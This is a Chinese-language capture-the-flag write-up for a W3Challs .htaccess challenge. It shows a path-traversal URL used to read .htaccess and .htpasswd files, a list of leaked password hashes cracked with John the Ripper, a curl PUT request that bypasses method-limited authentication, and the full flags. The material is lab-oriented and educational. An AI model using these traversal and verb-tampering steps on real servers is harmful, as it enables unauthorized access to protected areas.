题目有给出下载source的链接,下载后仔细审阅,会发现根目录下.htaccess
:
RewriteEngine on
RewriteBase /
RewriteRule ^page/(.+)$ /index.php?page=$1.php [NC,L]
.htaccess
文件是针对当前目录做一些配置的文件,具体不描述。可以看到文件里定义了一个重定向,即url为/page/home
会重定向到/index.php?page=home.php
页面。此处是解题关键,借助这一点我们可以进行目录穿越。
这里我困在一个地方很久,题目给出的source
我以为就是真正的源码,所以理所当然的去访问secret
文件夹,然而一直访问不到,纠结了很久,后来才想起来看看目录下的README.md
,才明白题目的意思——他给的根本就不是源码,那个secret
只是一个代称,让你知道源目录的结构而已,要解题就是要先找出这个secret
所对应的真正文件夹,然后再去访问里面的passwd
文件。
理清思路就好进行下一步了。当正常访问admin
域时是需要用户名密码认证的,但是借助前面的目录穿越,可以直接访问admin
目录下的.htaccess
,查看其目录配置:
http://htaccess.hax.w3challs.com/index.php?page=../admin/.htaccess
可访问其文件内容:
AuthUserFile /home/htaccess/www/UlTr4_S3cR3T_p4Th/.htpasswd
AuthGroupFile /dev/null
AuthName "Private area"
AuthType Basic
require valid-user
可以得到,secret
的真面目其实是UlTr4_S3cR3T_p4Th
文件夹。
访问该文件夹下的htpasswd
文件:
admin1:$apr1$Ikl22aeJ$w1uWlBGlbatPnETT2XGx..
admin2:$apr1$yJnQGpTi$WF5eCC/8lKsgBKY7fvag60
admin3:$apr1$fN20xzIa$UAnYxYS8qRiO8WKPJwOlK1
admin4:zQMI5ehC.sED2
admin5:{SHA}CKVCPg9EZI8U9KPPakEXgfXrMIc=
superadmin:{SHA}pAsyOzA/MHasbNO0OKRuXSp5sRI=
花了特别多的时间在这上面…查阅资料发现破解这类密码常用工具是John the Ripper
,这款工具kali自带,我一开始以为是每个密码都要破解出来,后来发现只要用其中一个admin
登陆就可以了。
并且此处加密后的密码,原则上只有第一个admin1
才能被破解,用John the Ripper
破解出密码为orange
(其余的应该是复杂密码,用工具难以暴力破解),登陆后给出第一部分flag:
You bypassed the first .htaccess and successfully entered the admin area.
Flag part 1 is W3C{__0hMyG0d
Now try to bypass the second one to enter the superadmin are.
Superadmin
访问superadmin
依然需要密码登录,这里还是尝试了下用John the Ripper
破解,迟迟没有结果…想了下应该不是简单节能暴力出来的…
在这里卡了很久,没什么思路,想不出还有什么破解密码的方法,并且在w3chall上这题的讨论里也没找到什么有用的信息…于是把这题放了一天,再重新审审题,发现题干还是有提示的:
The purpose of this challenge is simple: you have to exploit various vulnerabilities to bypass .htaccess protections.
In the context of this challenge, you have to bypass 2 .htaccess, respectively within admin and super-admin areas, using 2 different methods.
点出了两个重点,一个是绕过htaccess
,一个是2种不同解法
。那么访问admin
时用的方法是暴力破解密码,那绕过superadmin
访问限制的方式肯定不会是暴力破解密码那么简单。
仔细审阅题目给出的source
,在查看superadmin
目录下的htaccess
文件时发现了华点:
AuthUserFile /var/www/secret/.htpasswd_super
AuthGroupFile /dev/null
AuthName "Private area - superadmin only"
AuthType Basic
require valid-user
可以看到这里用
标签限制了作用的http请求方式,当使用GET
和POST
方式请求时需要验证…反之不使用这两种方式请求就无需验证了,比如PUT
。
curl -X PUT http://htaccess.hax.w3challs.com/superadmin/index.php```
于是直接返回页面内容,其中就包含了第二部分的flag:
Congratulations! You bypassed the second .htaccess too.
Flag part 2 is Th3yKi7l3dk3nNy}.
Final flag is part1_part2
组合获得完整的flag:
W3C{__0hMyG0d_Th3yKi7l3dk3nNy}